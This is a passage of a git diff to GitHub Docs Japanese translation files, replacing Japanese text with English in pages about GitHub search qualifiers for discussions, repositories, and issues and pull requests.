updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) は、2020 年 12 月以降に更新された、本文に「weird」という単語を含むディスカッションにマッチします。 | +| Qualifier | Example | +| :- | :- | +| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020. -## 参考リンク +## Further reading -- 「[検索結果をソートする](/search-github/getting-started-with-searching-on-github/sorting-search-results/)」 +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md b/translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md index dfab4d735b..d0f25c2d0c 100644 --- a/translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md +++ b/translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md @@ -1,6 +1,6 @@ --- -title: リポジトリを検索する -intro: '{% data variables.product.product_name %} 上のリポジトリを検索することができます。そして、これらのリポジトリを検索する修飾子を組み合わせることで、検索結果を絞ることができます。' +title: Searching for repositories +intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.' redirect_from: - /articles/searching-repositories/ - /articles/searching-for-repositories @@ -15,188 +15,191 @@ topics: - GitHub search shortTitle: Search for repositories --- +You can search for repositories globally across all of {% data variables.product.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." -{% data variables.product.product_location %} 全体にわたってグローバルにリポジトリを検索できます。あるいは、特定の Organization のみのリポジトリの検索もできます。 詳細は「[{% data variables.product.prodname_dotcom %} での検索について](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。 - -フォークを検索結果に含めるためには、クエリに `fork:true` または `fork:only` を追加する必要があります。 詳細は「[フォーク内で検索する](/search-github/searching-on-github/searching-in-forks)」を参照してください。 +To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)." {% data reusables.search.syntax_tips %} -## リポジトリ名、説明、または README ファイルの内容で検索 +## Search by repository name, description, or contents of the README file -`in` 修飾子によって、リポジトリ名、リポジトリの説明、README ファイルの内容や、これらの組み合わせに限定した検索ができます。 この修飾子を省略した場合、リポジトリ名および説明だけが検索されます。 +With the `in` qualifier you can restrict your search to the repository name, repository description, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name and description are searched. -| 修飾子 | サンプル | -| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) は、リポジトリ名に「jquery」が含まれるリポジトリにマッチします。 | -| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) は、リポジトリ名または説明に「jquery」が含まれるリポジトリにマッチします。 | -| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) は、リポジトリの README ファイルで「jquery」をメンションしているリポジトリにマッチします。 | -| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) は、特定のリポジトリ名にマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name. +| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description. +| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file. +| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name. -## リポジトリの内容で検索 +## Search based on the contents of a repository -`in:readme` 修飾子を使用すると、リポジトリの README ファイルの内容に基づいてリポジトリを検索できます。 詳細は「[README について](/github/creating-cloning-and-archiving-repositories/about-readmes)」を参照してください。 +You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)." -`in:readme` は、特定の内容に基づいてリポジトリを検索する唯一の方法です。 リポジトリ内の特定のファイルや内容を検索するには、ファイルファインダー、またはコード固有の検索修飾子を使います。 詳細は「[ {% data variables.product.prodname_dotcom %}でファイルを検索する](/search-github/searching-on-github/finding-files-on-github)」および「[コードの検索](/search-github/searching-on-github/searching-code)」を参照してください。 +Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)." -| 修飾子 | サンプル | -| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | -| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) は、リポジトリの README ファイルで「octocat」をメンションしているリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file. -## ユーザまたは Organization のリポジトリ内の検索 +## Search within a user's or organization's repositories -特定のユーザまたは Organization のすべてのリポジトリで検索するには、`user` 修飾子または `org` 修飾子を使います。 +To search in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. -| 修飾子 | サンプル | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) は、フォーク数が 100 より多い @defunkt からのリポジトリにマッチします。 | -| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) は、GitHub からのリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks. +| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub. -## リポジトリのサイズで検索 +## Search by repository size -`size` 修飾子は、不等号や範囲の修飾子を使うことで、特定のサイズ (キロバイト) に合致するリポジトリを表示します。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。 +The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 修飾子 | サンプル | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------- | -| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) は、ちょうど 1 MB のリポジトリにマッチします。 | -| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) は、30 MB 以上のリポジトリにマッチします。 | -| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) は、50 KB 未満のリポジトリにマッチします。 | -| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) は、50 KB から 120 KB までのリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly. +| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB. +| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB. +| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB. -## フォロワーの数の検索 +## Search by number of followers -`followers` 修飾子と、不等号や範囲の修飾子を使用すると、リポジトリをフォローしているユーザーの数に基づいてリポジトリをフィルタリングできます。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。 +You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 修飾子 | サンプル | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) は、「node」という単語にメンションしている、10,000 人以上のフォロワーがいるリポジトリにマッチします。 | -| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) は、「styleguide linter」という単語にメンションしている、フォロアーが 1 人から 10 人までのリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node". +| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter." -## フォークの数で検索 +## Search by number of forks -`forks` 修飾子は、不等号や範囲の修飾子を使って、リポジトリが持つべきフォークの数を指定します。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。 +The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 修飾子 | サンプル | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------- | -| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) は、フォーク数が 5 のリポジトリだけにマッチします。 | -| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) は、フォーク数が 205 以上のリポジトリにマッチします。 | -| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) は、フォーク数が 90 未満のリポジトリにマッチします。 | -| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) は、フォーク数が 10 から 20 までのリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks. +| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks. +| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks. +| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks. -## Star の数で検索 +## Search by number of stars -不等号や範囲の修飾子を使って、リポジトリの Star の数でリポジトリを検索できます。 詳しい情報については「[Star を付けてリポジトリを保存する](/github/getting-started-with-github/saving-repositories-with-stars)」および「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。 +You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 修飾子 | サンプル | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) は、Star がちょうど 500 のリポジトリにマッチします。 | -| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) は、1000 KB 未満で、Star が 10 から 20 のリポジトリにマッチします。 | -| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) は、PHP 形式のフォークされたリポジトリを含め Star が 500 以上のリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars. +| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB. +| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP. -## リポジトリの作成時期や最終更新時期で検索 +## Search by when a repository was created or last updated -作成時期や最終更新時期でリポジトリをフィルタリングできます。 リポジトリの作成時期については、`created` 修飾子を使います。リポジトリの最終更新時期で見つけるには、`pushed` 修飾子を使います。 `pushed` 修飾子は、リポジトリのいずれかのブランチに対する一番最近のコミットでソートされた、リポジトリのリストを表示します。 +You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository. -どちらの修飾子も、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 修飾子 | サンプル | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) は、2011 年より前に作成された「webos」という単語があるリポジトリにマッチします。 | -| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) は、2013 年 1 月より後にプッシュされた「css」という単語があるリポジトリにマッチします。 | -| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) は、2013 年 3 月 6 日以降にプッシュされ、フォークであり、「case」という単語があるリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011. +| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013. +| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks. -## 言語で検索 +## Search by language -リポジトリのコードの言語に基づいてリポジトリを検索できます。 +You can search repositories based on the language of the code in the repositories. -| 修飾子 | サンプル | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| language:LANGUAGE | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) は、JavaScript 形式で記述された「rails」という単語があるリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| language:LANGUAGE | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript. -## Topics で検索 +## Search by topic -特定の Topics で分類されたすべてのリポジトリを見つけることができます。 詳細は「[トピックでリポジトリを分類する](/github/administering-a-repository/classifying-your-repository-with-topics)」を参照してください。 +You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)." -| 修飾子 | サンプル | -| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | -| topic:TOPIC | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) は、Topics「jekyll」で分類されたリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| topic:TOPIC | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "jekyll." -## Topics の数で検索 +## Search by number of topics -`topics` 修飾子と、不等号や範囲の修飾子を使うと、リポジトリに適用された Topics の数でリポジトリを検索できます。 詳しい情報については「[Topics によるリポジトリの分類](/github/administering-a-repository/classifying-your-repository-with-topics)」および「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。 +You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 修飾子 | サンプル | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | -| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) は、5 つのトピックがあるリポジトリにマッチします。 | -| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) は、4 つ以上のトピックがあるリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics. +| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics. {% ifversion fpt or ghes or ghec %} -## ライセンスで検索 +## Search by license -リポジトリのライセンスの種類に基づいてリポジトリを検索できます。 特定のライセンスまたはライセンスファミリーによってリポジトリをフィルタリングするには、ライセンスキーワードを使う必要があります。 詳細は「[リポジトリのライセンス](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)」を参照してください。 +You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)." -| 修飾子 | サンプル | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) は、Apache ライセンス 2.0 によりライセンスされたリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0. {% endif %} -## リポジトリの可視性で検索 +## Search by repository visibility -リポジトリの可視性に基づいて検索を絞り込むことができます。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test". | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) は、自分がアクセスできて「pages」という単語を含むプライベートリポジトリにマッチします。 +| Qualifier | Example +| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} +| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages." {% ifversion fpt or ghec %} -## リポジトリがミラーかどうかで検索 +## Search based on whether a repository is a mirror -リポジトリがミラーか、それ以外にホストされているかに基づいてリポジトリを検索できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} でオープンソースにコントリビュートする方法を見つける](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)」を参照してください。 +You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." -| 修飾子 | サンプル | -| -------------- | --------------------------------------------------------------------------------------------------------------------------------------- | -| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) は、ミラーで「GNOME」という単語を含むリポジトリにマッチします。 | -| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=)は、ミラーではなく、かつ「GNOME」という単語を含むリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME." +| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME." {% endif %} -## リポジトリがアーカイブされているかどうかで検索 +## Search based on whether a repository is archived -アーカイブされているかどうかでリポジトリを検索できます。 For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)." +You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)." -| 修飾子 | サンプル | -| ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | -| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) は、「GNOME」という単語を含むアーカイブされたリポジトリにマッチします。 | -| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) は、「GNOME」という単語を含む、アーカイブされていないリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME." +| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME." {% ifversion fpt or ghec %} -## `good first issue` ラベルや `help wanted` ラベルの付いた Issue の数で検索 +## Search based on number of issues with `good first issue` or `help wanted` labels -`help-wanted` ラベルや `good-first-issue` ラベルの付いた Issue の最低数があるリポジトリを、`help-wanted-issues:>n` 修飾子や `good-first-issues:>n` 修飾子によって検索できます。 詳細は、「[ラベルを使用してプロジェクトに役立つコントリビューションを促す](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)」を参照してください。 +You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)." -| 修飾子 | サンプル | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) は、「javascript」という単語を含む、`good-first-issue` ラベルが付いた３つ以上の Issue のあるリポジトリにマッチします。 | -| `help-wanted-issues:>n` | [**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) は、「React」という単語を含む、`help-wanted` ラベルが付いた 5 つ以上の Issue のあるリポジトリにマッチします。 | +| Qualifier | Example +| ------------- | ------------- +| `good-first-issues:>n` | [**good-first-issues:>2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript." +| `help-wanted-issues:>n`|[**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React." ## Search based on ability to sponsor -You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. 詳しい情報については「[{% data variables.product.prodname_sponsors %}について](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)」を参照してください。 +You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)." -| 修飾子 | サンプル | -| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. | -| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file. | +| Qualifier | Example +| ------------- | ------------- +| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. +| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file. {% endif %} -## 参考リンク +## Further reading -- 「[検索結果をソートする](/search-github/getting-started-with-searching-on-github/sorting-search-results/)」 -- [フォーク内を検索する](/search-github/searching-on-github/searching-in-forks) +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)" diff --git a/translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md index 5997d40e93..53bb4c70c6 100644 --- a/translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md +++ b/translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md @@ -1,6 +1,6 @@ --- -title: Issue およびプルリクエストを検索する -intro: '{% data variables.product.product_name %} 上の Issue およびプルリクエストを検索することができます。そして、これらの検索用修飾子を組み合わせることで、検索結果を絞ることができます。' +title: Searching issues and pull requests +intro: 'You can search for issues and pull requests on {% data variables.product.product_name %} and narrow the results using these search qualifiers in any combination.' redirect_from: - /articles/searching-issues/ - /articles/searching-issues-and-pull-requests @@ -15,330 +15,336 @@ topics: - GitHub search shortTitle: Search issues & PRs --- - -{% data variables.product.product_name %} 全体にわたってグローバルに Issue およびプルリクエストを検索できます。あるいは、特定の Organization の Issue およびプルリクエストに限った検索もできます。 詳細は「[{% data variables.product.company_short %} での検索について](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。 +You can search for issues and pull requests globally across all of {% data variables.product.product_name %}, or search for issues and pull requests within a particular organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." {% tip %} -**ヒント:**{% ifversion ghes or ghae %} - - この記事には、{% data variables.product.prodname_dotcom %}.com のウェブサイトでの検索例が含まれています。ですが、同じ検索フィルターを {% data variables.product.product_location %} で使えます。{% endif %} - - 検索結果を改良する検索修飾子を追加できる検索構文のリストについては、「[検索構文を理解する](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)」を参照してください。 - - 複数単語の検索用語は引用符で囲みます。 たとえば "In progress" というラベルを持つ Issue を検索したい場合は、`label:"in progress"` とします。 検索では、大文字と小文字は区別されません。 +**Tips:**{% ifversion ghes or ghae %} + - This article contains example searches on the {% data variables.product.prodname_dotcom %}.com website, but you can use the same search filters on {% data variables.product.product_location %}.{% endif %} + - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)". + - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive. - {% data reusables.search.search_issues_and_pull_requests_shortcut %} {% endtip %} -## Issue またはプルリクエストに限定した検索 +## Search only issues or pull requests -デフォルトでは、{% data variables.product.product_name %} の検索は、Issueとプルリクエストの両方を結果表示します。 ですが、`type` 修飾子または `is` 修飾子を使うことで、Issue またはプルリクエストに限った検索ができます。 +By default, {% data variables.product.product_name %} search will return both issues and pull requests. However, you can restrict search results to just issues or pull requests using the `type` or `is` qualifier. -| 修飾子 | サンプル | -| ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) は、「cat」という単語があるプルリクエストにマッチします。 | -| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) は、「github」という単語を含み、かつ、@defunkt によるコメントがある Issue にマッチします。 | -| `is:pr` | [**event 